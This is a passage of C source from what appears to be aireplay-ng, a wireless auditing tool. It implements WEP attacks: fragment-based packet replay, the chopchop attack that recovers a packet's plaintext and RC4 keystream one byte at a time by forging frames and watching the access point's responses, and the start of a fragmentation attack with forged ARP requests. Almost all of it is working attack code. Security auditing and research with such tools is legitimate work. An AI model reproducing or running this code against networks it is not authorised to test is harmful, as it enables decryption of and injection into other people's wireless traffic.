    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
        z+=2;

    if(caplen < z)
    {
        goto read_packets;
    }

    if(caplen > 3800)
    {
        goto read_packets;
    }

    switch( h80211[1] & 3 )
    {
        case  0:
            memcpy( bssid, h80211 + 16, 6 );
            memcpy( dmac, h80211 + 4, 6 );
            memcpy( smac, h80211 + 10, 6 );
            break;
        case  1:
            memcpy( bssid, h80211 + 4, 6 );
            memcpy( dmac, h80211 + 16, 6 );
            memcpy( smac, h80211 + 10, 6 );
            break;
        case  2:
            memcpy( bssid, h80211 + 10, 6 );
            memcpy( dmac, h80211 + 4, 6 );
            memcpy( smac, h80211 + 16, 6 );
            break;
        default:
            memcpy( bssid, h80211 + 10, 6 );
            memcpy( dmac, h80211 + 16, 6 );
            memcpy( smac, h80211 + 24, 6 );
            break;
    }

    memset(clear, 0, 4096);
    memset(final, 0, 4096);
    memset(flip, 0, 4096);
    memset(frag1, 0, 128);
    memset(frag2, 0, 128);
    memset(frag3, 0, 128);
    memset(keystream, 0, 128);

    /* check if it's a potential ARP request */

    //its length 68-24 or 86-24 and going to broadcast or a unicast mac (even first byte)
    if( (caplen-z == 68-24 || caplen-z == 86-24) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) )
    {
        /* process ARP */
        printf("Found ARP packet\n");
        isarp = 1;
        //build the new packet
        set_clear_arp(clear, smac, dmac);
        set_final_arp(final, opt.r_smac);

        for(i=0; i<14; i++)
            keystream[i] = (h80211+z+4)[i] ^ clear[i];

        // correct 80211 header
//         h80211[0] = 0x08;    //data
        if( (h80211[1] & 3) == 0x00 ) //ad-hoc
        {
            h80211[1] = 0x40;    //wep
            memcpy(h80211+4, smac, 6);
            memcpy(h80211+10, opt.r_smac, 6);
            memcpy(h80211+16, bssid, 6);
        }
        else //tods
        {
            if(opt.f_tods == 1)
            {
                h80211[1] = 0x41;    //wep+ToDS
                memcpy(h80211+4 , bssid, 6);
                memcpy(h80211+10, opt.r_smac, 6);
                memcpy(h80211+16, smac, 6);
            }
            else
            {
                h80211[1] = 0x42;    //wep+FromDS
                memcpy(h80211+4, smac, 6);
                memcpy(h80211+10, bssid, 6);
                memcpy(h80211+16, opt.r_smac, 6);
            }
        }
        h80211[22] = 0xD0; //frag = 0;
        h80211[23] = 0x50;

        //need to shift by 10 bytes; (add 1 frag in front)
        memcpy(frag1, h80211, z+4); //copy 80211 header and IV
        frag1[1] |= 0x04; //more frags
        memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8);
        frag1[z+4+8] = 0x00;
        frag1[z+4+9] = 0x01; //ethernet
        add_crc32(frag1+z+4, 10);
        for(i=0; i<14; i++)
            (frag1+z+4)[i] ^= keystream[i];
        /* frag1 finished */

        for(i=0; i<caplen; i++)
            flip[i] = clear[i] ^ final[i];

        add_crc32_plain(flip, caplen-z-4-4);

        for(i=0; i<caplen-z-4; i++)
            (h80211+z+4)[i] ^= flip[i];
        h80211[22] = 0xD1; // frag = 1;

        //ready to send frag1 / len=z+4+10+4 and h80211 / len = caplen
    }
    else
    {
        /* process IP */
        printf("Found IP packet\n");
        isarp = 0;
        //build the new packet
        set_clear_ip(clear, caplen-z-4-8-4); //caplen - ieee80211header - IVIDX - LLC/SNAP - ICV
        set_final_ip(final, opt.r_smac);

        for(i=0; i<8; i++)
            keystream[i] = (h80211+z+4)[i] ^ clear[i];

        // correct 80211 header
//         h80211[0] = 0x08;    //data
        if( (h80211[1] & 3) == 0x00 ) //ad-hoc
        {
            h80211[1] = 0x40;    //wep
            memcpy(h80211+4, smac, 6);
            memcpy(h80211+10, opt.r_smac, 6);
            memcpy(h80211+16, bssid, 6);
        }
        else
        {
            if(opt.f_tods == 1)
            {
                h80211[1] = 0x41;    //wep+ToDS
                memcpy(h80211+4 , bssid, 6);
                memcpy(h80211+10, opt.r_smac, 6);
                memcpy(h80211+16, smac, 6);
            }
            else
            {
                h80211[1] = 0x42;    //wep+FromDS
                memcpy(h80211+4, smac, 6);
                memcpy(h80211+10, bssid, 6);
                memcpy(h80211+16, opt.r_smac, 6);
            }
        }
        h80211[22] = 0xD0; //frag = 0;
        h80211[23] = 0x50;

        //need to shift by 12 bytes;(add 3 frags in front)
        memcpy(frag1, h80211, z+4); //copy 80211 header and IV
        memcpy(frag2, h80211, z+4); //copy 80211 header and IV
        memcpy(frag3, h80211, z+4); //copy 80211 header and IV
        frag1[1] |= 0x04; //more frags
        frag2[1] |= 0x04; //more frags
        frag3[1] |= 0x04; //more frags

        memcpy(frag1+z+4, S_LLC_SNAP_ARP, 4);
        add_crc32(frag1+z+4, 4);
        for(i=0; i<8; i++)
            (frag1+z+4)[i] ^= keystream[i];

        memcpy(frag2+z+4, S_LLC_SNAP_ARP+4, 4);
        add_crc32(frag2+z+4, 4);
        for(i=0; i<8; i++)
            (frag2+z+4)[i] ^= keystream[i];
        frag2[22] = 0xD1; //frag = 1;

        frag3[z+4+0] = 0x00;
        frag3[z+4+1] = 0x01; //ether
        frag3[z+4+2] = 0x08; //IP
        frag3[z+4+3] = 0x00;
        add_crc32(frag3+z+4, 4);
        for(i=0; i<8; i++)
            (frag3+z+4)[i] ^= keystream[i];
        frag3[22] = 0xD2; //frag = 2;
        /* frag1,2,3 finished */

        for(i=0; i<caplen; i++)
            flip[i] = clear[i] ^ final[i];

        add_crc32_plain(flip, caplen-z-4-4);

        for(i=0; i<caplen-z-4; i++)
            (h80211+z+4)[i] ^= flip[i];
        h80211[22] = 0xD3; // frag = 3;

        //ready to send frag1,2,3 / len=z+4+4+4 and h80211 / len = caplen
    }


    /* loop resending the packet */

	/* Check if airodump-ng is running. If not, print that message */
    printf( "You should also start airodump-ng to capture replies.\n\n" );

    signal( SIGINT, sighandler );
    ctrl_c = 0;

    memset( ticks, 0, sizeof( ticks ) );

    nb_pkt_sent = 0;

    while( 1 )
    {
        if( ctrl_c )
            goto read_packets;

        /* wait for the next timer interrupt, or sleep */

        if( dev.fd_rtc >= 0 )
        {
            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
            {
                perror( "read(/dev/rtc) failed" );
                return( 1 );
            }

            ticks[0]++;
            ticks[1]++;
            ticks[2]++;
        }
        else
        {
            /* we can't trust usleep, since it depends on the HZ */

            gettimeofday( &tv,  NULL );
            usleep( 1000000/RTC_RESOLUTION );
            gettimeofday( &tv2, NULL );

            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
                        + (float) ( tv2.tv_usec - tv.tv_usec );

            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
        }

        /* update the status line */

        if( ticks[1] > (RTC_RESOLUTION/10) )
        {
            ticks[1] = 0;
            printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)));
            fflush( stdout );
        }

        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 )
            continue;

        /* threshold reached */

        ticks[2] = 0;

        if( nb_pkt_sent == 0 )
            ticks[0] = 0;

        if(isarp)
        {
            if( send_packet( frag1, z+4+10+4 ) < 0 )
                return( 1 );
            nb_pkt_sent--;
        }
        else
        {
            if( send_packet( frag1, z+4+4+4 ) < 0 )
                return( 1 );
            if( send_packet( frag2, z+4+4+4 ) < 0 )
                return( 1 );
            if( send_packet( frag3, z+4+4+4 ) < 0 )
                return( 1 );
            nb_pkt_sent-=3;
        }
        if( send_packet( h80211, caplen ) < 0 )
            return( 1 );
    }

    return( 0 );
}

int do_attack_chopchop( void )
{
    float f, ticks[4];
    int i, j, n, z, caplen, srcz;
    int data_start, data_end, srcdiff, diff;
    int guess, is_deauth_mode;
    int nb_bad_pkt;
    int tried_header_rec=0;

    unsigned char b1 = 0xAA;
    unsigned char b2 = 0xAA;

    FILE *f_cap_out;
    long nb_pkt_read;
    unsigned long crc_mask;
    unsigned char *chopped;

    uchar packet[4096];

    time_t tt;
    struct tm *lt;
    struct timeval tv;
    struct timeval tv2;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;


    if(getnet(NULL, 1, 0) != 0)
        return 1;

    srand( time( NULL ) );

    if( capture_ask_packet( &caplen, 0 ) != 0 )
        return( 1 );

    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
        z+=2;
    srcz = z;

    if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) )
        return( 1 );

    if( opt.r_smac_set == 1 )
    {
        //handle picky APs (send one valid packet before all the invalid ones)
        memset(packet, 0, sizeof(packet));

        memcpy( packet, NULL_DATA, 24 );
        memcpy( packet +  4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
        memcpy( packet + 10, opt.r_smac,  6 );
        memcpy( packet + 16, opt.f_bssid, 6 );

        packet[0] = 0x08; //make it a data packet
        packet[1] = 0x41; //set encryption and ToDS=1

        memcpy( packet+24, h80211+z, caplen-z);

        if( send_packet( packet, caplen-z+24 ) != 0 )
            return( 1 );
        //done sending a correct packet
    }

    /* Special handling for spanning-tree packets */
    if ( memcmp( h80211 +  4, SPANTREE, 6 ) == 0 ||
        memcmp( h80211 + 16, SPANTREE, 6 ) == 0 )
    {
        b1 = 0x42; b2 = 0x42;
    }

    printf( "\n" );

    /* chopchop operation mode: truncate and decrypt the packet */
    /* we assume the plaintext starts with  AA AA 03 00 00 00   */
    /* (42 42 03 00 00 00 for spanning-tree packets)            */

    memcpy( srcbuf, h80211, caplen );

    /* setup the chopping buffer */

    n = caplen - z + 24;

    if( ( chopped = (unsigned char *) malloc( n ) ) == NULL )
    {
        perror( "malloc failed" );
        return( 1 );
    }

    memset( chopped, 0, n );

    data_start = 24 + 4;
    data_end   = n;
    srcdiff = z-24;

    chopped[0] = 0x08;  /* normal data frame */
    chopped[1] = 0x41;  /* WEP = 1, ToDS = 1 */

    /* copy the duration */

    memcpy( chopped + 2, h80211 + 2, 2 );

    /* copy the BSSID */

    switch( h80211[1] & 3 )
    {
        case  0: memcpy( chopped + 4, h80211 + 16, 6 ); break;
        case  1: memcpy( chopped + 4, h80211 +  4, 6 ); break;
        case  2: memcpy( chopped + 4, h80211 + 10, 6 ); break;
        default: memcpy( chopped + 4, h80211 + 10, 6 ); break;
    }

    /* copy the WEP IV */

    memcpy( chopped + 24, h80211 + z, 4 );

    /* setup the xor mask to hide the original data */

    crc_mask = 0;

    for( i = data_start; i < data_end - 4; i++ )
    {
        switch( i - data_start )
        {
            case  0: chopped[i] = b1 ^ 0xE0; break;
            case  1: chopped[i] = b2 ^ 0xE0; break;
            case  2: chopped[i] = 0x03 ^ 0x03; break;
            default: chopped[i] = 0x55 ^ ( i & 0xFF ); break;
        }

        crc_mask = crc_tbl[crc_mask & 0xFF]
                 ^ ( crc_mask   >>  8 )
                 ^ ( chopped[i] << 24 );
    }

    for( i = 0; i < 4; i++ )
        crc_mask = crc_tbl[crc_mask & 0xFF]
                 ^ ( crc_mask >> 8 );

    chopped[data_end - 4] = crc_mask; crc_mask >>= 8;
    chopped[data_end - 3] = crc_mask; crc_mask >>= 8;
    chopped[data_end - 2] = crc_mask; crc_mask >>= 8;
    chopped[data_end - 1] = crc_mask; crc_mask >>= 8;

    for( i = data_start; i < data_end; i++ )
        chopped[i] ^= srcbuf[i+srcdiff];

    data_start += 6; /* skip the SNAP header */

    /* if the replay source mac is unspecified, forge one */

    if( opt.r_smac_set == 0 )
    {
        is_deauth_mode = 1;

        opt.r_smac[0] = 0x00;
        opt.r_smac[1] = rand() & 0x3E;
        opt.r_smac[2] = rand() & 0xFF;
        opt.r_smac[3] = rand() & 0xFF;
        opt.r_smac[4] = rand() & 0xFF;

        memcpy( opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
    }
    else
    {
        is_deauth_mode = 0;

        opt.r_dmac[0] = 0xFF;
        opt.r_dmac[1] = rand() & 0xFE;
        opt.r_dmac[2] = rand() & 0xFF;
        opt.r_dmac[3] = rand() & 0xFF;
        opt.r_dmac[4] = rand() & 0xFF;
    }

    /* let's go chopping */

    memset( ticks, 0, sizeof( ticks ) );

    nb_pkt_read = 0;
    nb_pkt_sent = 0;
    nb_bad_pkt  = 0;
    guess       = 256;

    tt = time( NULL );

    alarm( 30 );

    signal( SIGALRM, sighandler );

    if(opt.port_in <= 0)
    {
        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
        {
            perror( "fcntl(O_NONBLOCK) failed" );
            return( 1 );
        }
    }

    while( data_end > data_start )
    {
        if( alarmed )
        {
            printf( "\n\n"
"The chopchop attack appears to have failed. Possible reasons:\n"
"\n"
"    * You're trying to inject with an unsupported chipset (Centrino?).\n"
"    * The driver source wasn't properly patched for injection support.\n"
"    * You are too far from the AP. Get closer or reduce the send rate.\n"
"    * Target is 802.11g only but you are using a Prism2 or RTL8180.\n"
"    * The wireless interface isn't setup on the correct channel.\n" );
            if( is_deauth_mode )
                printf(
"    * The AP isn't vulnerable when operating in non-authenticated mode.\n"
"      Run aireplay-ng in authenticated mode instead (-h option).\n\n" );
            else
                printf(
"    * The client MAC you have specified is not currently authenticated.\n"
"      Try running another aireplay-ng to fake authentication (attack \"-1\").\n"
"    * The AP isn't vulnerable when operating in authenticated mode.\n"
"      Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" );
            return( 1 );
        }

        /* wait for the next timer interrupt, or sleep */

        if( dev.fd_rtc >= 0 )
        {
            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
            {
                perror( "\nread(/dev/rtc) failed" );
                return( 1 );
            }

            ticks[0]++;  /* ticks since we entered the while loop     */
            ticks[1]++;  /* ticks since the last status line update   */
            ticks[2]++;  /* ticks since the last frame was sent       */
            ticks[3]++;  /* ticks since started chopping current byte */
        }
        else
        {
            /* we can't trust usleep, since it depends on the HZ */

            gettimeofday( &tv,  NULL );
            usleep( 976 );
            gettimeofday( &tv2, NULL );

            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
                        + (float) ( tv2.tv_usec - tv.tv_usec );

            ticks[0] += f / 976;
            ticks[1] += f / 976;
            ticks[2] += f / 976;
            ticks[3] += f / 976;
        }

        /* update the status line */

        if( ticks[1] > (RTC_RESOLUTION/10) )
        {
            ticks[1] = 0;
            printf( "\rSent %3ld packets, current guess: %02X...\33[K",
                    nb_pkt_sent, guess );
            fflush( stdout );
        }

        if( data_end < 41 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) /
                                (int) ( caplen - ( data_end - 1 ) ) )
        {
            header_rec:

            printf( "\n\nThe AP appears to drop packets shorter "
                    "than %d bytes.\n",data_end );

            data_end = 40;

            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
                z+=2;

            diff = z-24;

            if( ( chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0] ) == 0x06 &&
                ( chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1] ) == 0x04 &&
                ( chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2] ) == 0x00 )
            {
                printf( "Enabling standard workaround: "
                        "ARP header re-creation.\n" );

                chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
                chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06;
                chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00;
                chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01;
                chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08;
                chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00;
            }
            else
            {
                printf( "Enabling standard workaround: "
                        " IP header re-creation.\n" );

                n = caplen - ( z + 16 );

                chopped[24 +  4] = srcbuf[srcz +  4] ^ 0xAA;
                chopped[24 +  5] = srcbuf[srcz +  5] ^ 0xAA;
                chopped[24 +  6] = srcbuf[srcz +  6] ^ 0x03;
                chopped[24 +  7] = srcbuf[srcz +  7] ^ 0x00;
                chopped[24 +  8] = srcbuf[srcz +  8] ^ 0x00;
                chopped[24 +  9] = srcbuf[srcz +  9] ^ 0x00;
                chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08;
                chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00;
                chopped[24 + 14] = srcbuf[srcz + 14] ^ ( n >> 8 );
                chopped[24 + 15] = srcbuf[srcz + 15] ^ ( n & 0xFF );

                memcpy( h80211, srcbuf, caplen );

                for( i = z + 4; i < (int) caplen; i++ )
                    h80211[i - 4] = h80211[i] ^ chopped[i-diff];

                /* sometimes the header length or the tos field vary */

                for( i = 0; i < 16; i++ )
                {
                    h80211[z +  8] = 0x40 + i;
                    chopped[24 + 12] = srcbuf[srcz + 12] ^ ( 0x40 + i );

                    for( j = 0; j < 256; j++ )
                    {
                        h80211[z +  9] = j;
                        chopped[24 + 13] = srcbuf[srcz + 13] ^ j;

                        if( check_crc_buf( h80211 + z, caplen - z - 8 ) )
                            goto have_crc_match;
                    }
                }

                printf( "This doesn't look like an IP packet, "
                        "try another one.\n" );
            }

        have_crc_match:
            break;
        }

        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
        {
            /* send one modified frame */

            ticks[2] = 0;

            memcpy( h80211, chopped, data_end - 1 );

            /* note: guess 256 is special, it tests if the  *
             * AP properly drops frames with an invalid ICV *
             * so this guess always has its bit 8 set to 0  */

            if( is_deauth_mode )
            {
                opt.r_smac[1] |= ( guess < 256 );
                opt.r_smac[5]  = guess & 0xFF;
            }
            else
            {
                opt.r_dmac[1] |= ( guess < 256 );
                opt.r_dmac[5]  = guess & 0xFF;
            }

            memcpy( h80211 + 10, opt.r_smac,  6 );
            memcpy( h80211 + 16, opt.r_dmac,  6 );

            if( guess < 256 )
            {
                h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
                h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
                h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
                h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
            }

            errno = 0;

            if( send_packet( h80211, data_end -1 ) != 0 )
                return( 1 );

            if( errno != EAGAIN )
            {
                guess++;

                if( guess > 256 )
                    guess = 0;
            }
        }

        /* watch for a response from the AP */

        n = read_packet( h80211, sizeof( h80211 ), NULL );

        if( n  < 0 ) return( 1 );
        if( n == 0 ) continue;

        nb_pkt_read++;

        /* check if it's a deauth packet */

        if( h80211[0] == 0xA0 || h80211[0] == 0xC0 )
        {
            if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 &&
                ! is_deauth_mode )
            {
                nb_bad_pkt++;

                if( nb_bad_pkt > 256 )
                {
                    printf("\rgot several deauthentication packets - pausing 3 seconds for reconnection\n");
                    sleep(3);
                    nb_bad_pkt = 0;
                }

                continue;
            }

            if( h80211[4] != opt.r_smac[0] ) continue;
            if( h80211[6] != opt.r_smac[2] ) continue;
            if( h80211[7] != opt.r_smac[3] ) continue;
            if( h80211[8] != opt.r_smac[4] ) continue;

            if( ( h80211[5]     & 0xFE ) !=
                ( opt.r_smac[1] & 0xFE ) ) continue;

            if( ! ( h80211[5] & 1 ) )
            {
            	if( data_end < 41 ) goto header_rec;

                printf( "\n\nFailure: the access point does not properly "
                        "discard frames with an\ninvalid ICV - try running "
                        "aireplay-ng in authenticated mode (-h) instead.\n\n" );
                return( 1 );
            }
        }
        else
        {
            if( is_deauth_mode )
                continue;

            /* check if it's a WEP data packet */

            if( ( h80211[0] & 0x0C ) != 8 ) continue;
            if( ( h80211[0] & 0x70 ) != 0 ) continue;
            if( ( h80211[1] & 0x03 ) != 2 ) continue;
            if( ( h80211[1] & 0x40 ) == 0 ) continue;

            /* check the extended IV (TKIP) flag */

            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
                z+=2;

            if( ( h80211[z + 3] & 0x20 ) != 0 ) continue;

            /* check the destination address */

            if( h80211[4] != opt.r_dmac[0] ) continue;
            if( h80211[6] != opt.r_dmac[2] ) continue;
            if( h80211[7] != opt.r_dmac[3] ) continue;
            if( h80211[8] != opt.r_dmac[4] ) continue;

            if( ( h80211[5]     & 0xFE ) !=
                ( opt.r_dmac[1] & 0xFE ) ) continue;

            if( ! ( h80211[5] & 1 ) )
            {
            	if( data_end < 41 ) goto header_rec;

                printf( "\n\nFailure: the access point does not properly "
                        "discard frames with an\ninvalid ICV - try running "
                        "aireplay-ng in non-authenticated mode instead.\n\n" );
                return( 1 );
            }
        }

        /* we have a winner */

        guess = h80211[9];

        chopped[data_end - 1] ^= guess;
        chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
        chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
        chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
        chopped[data_end - 5] ^= crc_chop_tbl[guess][0];

        n = caplen - data_start;

        printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | "
                "%4ld frames written in %5.0fms\n", data_end - 1,
                100 * ( caplen - data_end ) / n,
                chopped[data_end - 1],
                chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1],
                nb_pkt_sent, ticks[3] );

        if( is_deauth_mode )
        {
            opt.r_smac[1] = rand() & 0x3E;
            opt.r_smac[2] = rand() & 0xFF;
            opt.r_smac[3] = rand() & 0xFF;
            opt.r_smac[4] = rand() & 0xFF;
        }
        else
        {
            opt.r_dmac[1] = rand() & 0xFE;
            opt.r_dmac[2] = rand() & 0xFF;
            opt.r_dmac[3] = rand() & 0xFF;
            opt.r_dmac[4] = rand() & 0xFF;
        }

        ticks[3]        = 0;
        nb_pkt_sent     = 0;
        nb_bad_pkt      = 0;
        guess           = 256;

        data_end--;

        alarm( 0 );
    }

    /* reveal the plaintext (chopped contains the prga) */

    memcpy( h80211, srcbuf, caplen );

    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
    if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
        z+=2;
    diff = z-24;

    chopped[24 + 4] = srcbuf[srcz + 4] ^ b1;
    chopped[24 + 5] = srcbuf[srcz + 5] ^ b2;
    chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03;
    chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00;
    chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00;
    chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00;

    for( i = z + 4; i < (int) caplen; i++ )
        h80211[i - 4] = h80211[i] ^ chopped[i-diff];

    if( ! check_crc_buf( h80211 + z, caplen - z - 8 ) ) {
        if (!tried_header_rec) {
            printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" );
            tried_header_rec=1;
            goto header_rec;
        } else {
            printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" );
        }
    }

    caplen -= 4 + 4; /* remove the WEP IV & CRC (ICV) */

    h80211[1] &= 0xBF;   /* remove the WEP bit, too */

    /* save the decrypted packet */

    gettimeofday( &tv, NULL );

    pfh_out.magic         = TCPDUMP_MAGIC;
    pfh_out.version_major = PCAP_VERSION_MAJOR;
    pfh_out.version_minor = PCAP_VERSION_MINOR;
    pfh_out.thiszone      = 0;
    pfh_out.sigfigs       = 0;
    pfh_out.snaplen       = 65535;
    pfh_out.linktype      = LINKTYPE_IEEE802_11;

    pkh.tv_sec  = tv.tv_sec;
    pkh.tv_usec = tv.tv_usec;
    pkh.caplen  = caplen;
    pkh.len     = caplen;

    lt = localtime( (const time_t *) &tv.tv_sec );

    memset( strbuf, 0, sizeof( strbuf ) );
    snprintf( strbuf,  sizeof( strbuf ) - 1,
              "replay_dec-%02d%02d-%02d%02d%02d.cap",
              lt->tm_mon + 1, lt->tm_mday,
              lt->tm_hour, lt->tm_min, lt->tm_sec );

    printf( "\nSaving plaintext in %s\n", strbuf );

    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
    {
        perror( "fopen failed" );
        return( 1 );
    }

    n = sizeof( struct pcap_file_header );

    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed\n" );
        return( 1 );
    }

    n = sizeof( pkh );

    if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed" );
        return( 1 );
    }

    n = pkh.caplen;

    if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed" );
        return( 1 );
    }

    fclose( f_cap_out );

    /* save the RC4 stream (xor mask) */

    memset( strbuf, 0, sizeof( strbuf ) );
    snprintf( strbuf,  sizeof( strbuf ) - 1,
              "replay_dec-%02d%02d-%02d%02d%02d.xor",
              lt->tm_mon + 1, lt->tm_mday,
              lt->tm_hour, lt->tm_min, lt->tm_sec );

    printf( "Saving keystream in %s\n", strbuf );

    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
    {
        perror( "fopen failed" );
        return( 1 );
    }

    n = pkh.caplen + 8 - 24;

    if( fwrite( chopped + 24, n, 1, f_cap_out ) != 1 )
    {
        perror( "fwrite failed" );
        return( 1 );
    }

    fclose( f_cap_out );

    printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n",
            (long) time( NULL ) - tt,
            (float) ( pkh.caplen - 6 - 24 ) /
            (float) ( time( NULL ) - tt  ) );

    return( 0 );
}

int make_arp_request(uchar *h80211, uchar *bssid, uchar *src_mac, uchar *dst_mac, uchar *src_ip, uchar *dst_ip, int size)
{
	uchar *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01";
	uchar *header80211 = (unsigned char*)"\x08\x41\x95\x00";

    // 802.11 part
    memcpy(h80211,    header80211, 4);
    memcpy(h80211+4,  bssid,       6);
    memcpy(h80211+10, src_mac,     6);
    memcpy(h80211+16, dst_mac,     6);
    h80211[22] = '\x00';
    h80211[23] = '\x00';

    // ARP part
    memcpy(h80211+24, arp_header, 16);
    memcpy(h80211+40, src_mac,     6);
    memcpy(h80211+46, src_ip,      4);
    memset(h80211+50, '\x00',      6);
    memcpy(h80211+56, dst_ip,      4);

    // Insert padding bytes
    memset(h80211+60, '\x00', size-60);

    return 0;
}

void save_prga(char *filename, uchar *iv, uchar *prga, int prgalen)
{
    FILE *xorfile;
    size_t unused;
    xorfile = fopen(filename, "wb");
    unused = fwrite (iv, 1, 4, xorfile);
    unused = fwrite (prga, 1, prgalen, xorfile);
    fclose (xorfile);
}

int do_attack_fragment()
{
    uchar packet[4096];
    uchar packet2[4096];
    uchar prga[4096];
    uchar iv[4];

//    uchar ack[14] = "\xd4";

    char strbuf[256];

    struct tm *lt;
    struct timeval tv, tv2;

    int done;
    int caplen;
    int caplen2;
    int arplen;
    int round;
    int prga_len;
    int isrelay;
    int again;
    int length;
    int ret;
    int gotit;
    int acksgot;
    int packets;
    int z;

    uchar *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00";

    done = caplen = caplen2 = arplen = round = 0;
    prga_len = isrelay = gotit = again = length = 0;

    if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 )
    {
        printf( "Please specify a source MAC (-h).\n" );
        return( 1 );
    }

    if(getnet(NULL, 1, 1) != 0)
        return 1;

    if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 )
    {
        memset( opt.r_dmac, '\xFF', 6);
        opt.r_dmac[5] = 0xED;
    }

    if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 )
    {
        memset( opt.r_sip, '\xFF', 4);
    }

    if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 )
    {
        memset( opt.r_dip, '\xFF', 4);
    }

    PCT; printf ("Waiting for a data packet...\n");

    while(!done)  //
    {
        round = 0;

        if( capture_ask_packet( &caplen, 0 ) != 0 )
            return -1;

        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
        if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
            z+=2;

        if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2))
            continue;

        memcpy( packet2, h80211, caplen );
        caplen2 = caplen;
        PCT; printf("Data packet found!\n");

        if ( memcmp( packet2 +  4, SPANTREE, 6 ) == 0 ||
             memcmp( packet2 + 16, SPANTREE, 6 ) == 0 )
        {
            packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA);  //0x42 instead of 0xAA
            packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA);  //0x42 instead of 0xAA
            packet2[z+10] = ((packet2[z+10] ^ 0x00) ^ 0x08);  //0x00 instead of 0x08
        }

        prga_len = 7;

        again = RETRY;

        memcpy( packet, packet2, caplen2 );
        caplen = caplen2;
        memcpy(prga, packet+z+4, prga_len);
        memcpy(iv, packet+z, 4);

        xor_keystream(prga, snap_header, prga_len);

        while(again == RETRY)  //sending 7byte fragments
        {
            again = 0;

            arplen=60;
            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen);

            if ((round % 2) == 1)
            {
                PCT; printf("Trying a LLC NULL packet\n");
                memset(h80211+24, '\x00', 39);
                arplen=63;
            }

            acksgot=0;
            packets=(arplen-24)/(prga_len-4);
            if( (arplen-24)%(prga_len-4) != 0 )
                packets++;

            PCT; printf("Sending fragmented packet\n");
            send_fragments(h80211, arplen, iv, prga, prga_len-4, 0);
//            //Plus an ACK
//            send_packet(ack, 10);

            gettimeofday( &tv, NULL );


            while (!gotit)  //waiting for relayed packet
            {
                caplen = read_packet(packet, sizeof(packet), NULL);
